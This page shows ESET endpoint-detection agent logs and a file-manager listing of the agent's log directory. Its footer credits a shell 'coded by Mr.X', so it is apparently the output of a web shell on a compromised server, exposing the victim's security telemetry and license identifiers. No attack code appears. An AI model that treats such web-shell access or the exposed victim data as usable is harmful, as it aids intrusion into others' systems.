2026-03-04 23:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2043 KB; ModuleMetadata: 2042 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; BaseEvent: 346 KB; rules::ProcessConditionsCache: 345 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 90 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38029 KB;
2026-03-04 23:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2404 KB; ModuleMetadata: 2042 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; BaseEvent: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 333 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38590 KB;
2026-03-04 23:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2764 KB; ModuleMetadata: 2042 KB; BaseEvent: 701 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; ModuleInfoCache: 326 KB; rules::ProcessConditionsCache: 318 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 183 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39136 KB;
2026-03-04 23:58:09 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:53:57, To:, 2026-03-04 23:58:09, Duration (s):, 252, Events Per Second:, 16.244, Events:, 4102, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3377, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 724, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456180
2026-03-04 23:58:11 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s224ms.
2026-03-04 23:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 59415 KB; ModuleMetadata: 2042 KB; ProcessInfo: 1578 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; ModuleInfoCache: 326 KB; rules::ProcessConditionsCache: 308 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BaseEvent: 133 KB; BatchSerializer::EventsQueueTag: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65899 KB;
2026-03-04 23:59:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:59:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:59:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:59:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 59415 KB; ModuleMetadata: 2042 KB; ProcessInfo: 1943 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; ModuleInfoCache: 326 KB; BaseEvent: 311 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 291 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 82 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66475 KB;

Filemanager

DIR : / var/ log/ eset/ eei/
Name Type Size Permission Actions
persistent Folder 0755
esets_eia-2026-02-24.log File 2.25 MB 0644
esets_eia-2026-02-25.log File 2.36 MB 0644
esets_eia-2026-02-26.log File 2.39 MB 0644
esets_eia-2026-02-27.log File 2.41 MB 0644
esets_eia-2026-02-28.log File 2.42 MB 0644
esets_eia-2026-03-01.log File 2.03 MB 0644
esets_eia-2026-03-02.log File 2.02 MB 0644
esets_eia-2026-03-03.log File 1.82 MB 0644
esets_eia-2026-03-04.log File 1.52 MB 0644
esets_eia-2026-03-05.log File 2.02 MB 0644
install.log File 473 B 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X

Filemanager